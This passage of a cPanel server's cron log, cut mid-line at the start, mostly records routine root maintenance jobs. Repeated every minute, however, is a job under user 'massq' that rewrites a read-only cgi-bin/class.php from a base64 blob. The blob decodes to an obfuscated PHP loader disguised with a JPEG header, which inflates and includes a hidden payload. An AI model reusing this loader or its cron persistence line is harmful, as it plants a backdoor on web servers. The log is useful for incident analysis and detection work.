JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:03:01 server CROND[4026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:03:01 server CROND[4027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:03:01 server CROND[4028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:04:01 server CROND[4503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:04:01 server CROND[4505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:04:01 server CROND[4504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:05:01 server CROND[4902]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:05:01 server CROND[4904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:05:01 server CROND[4910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:05:01 server CROND[4917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:05:01 server CROND[4924]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 01:05:01 server CROND[4926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:05:01 server CROND[4921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:05:01 server CROND[4922]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:06:01 server CROND[5822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:06:01 server CROND[5823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:06:01 server CROND[5824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:07:01 server CROND[6199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:07:01 server CROND[6200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:07:01 server CROND[6201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:08:01 server CROND[6576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:08:01 server CROND[6577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:08:01 server CROND[6578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:09:01 server CROND[7105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:09:01 server CROND[7104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:09:01 server CROND[7107]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 01:09:01 server CROND[7106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:10:01 server CROND[7522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:10:01 server CROND[7523]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:10:01 server CROND[7526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:10:01 server CROND[7527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:10:01 server CROND[7529]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:10:01 server CROND[7528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:10:01 server CROND[7525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:10:01 server CROND[7531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:11:01 server CROND[8407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:11:01 server CROND[8408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:11:01 server CROND[8409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:12:01 server CROND[8808]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 01:12:01 server CROND[8809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:12:01 server CROND[8810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:12:01 server CROND[8811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:13:01 server CROND[9220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:13:01 server CROND[9221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:13:01 server CROND[9222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:14:01 server CROND[9701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:14:01 server CROND[9702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:14:01 server CROND[9703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:15:01 server CROND[10081]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:15:01 server CROND[10087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
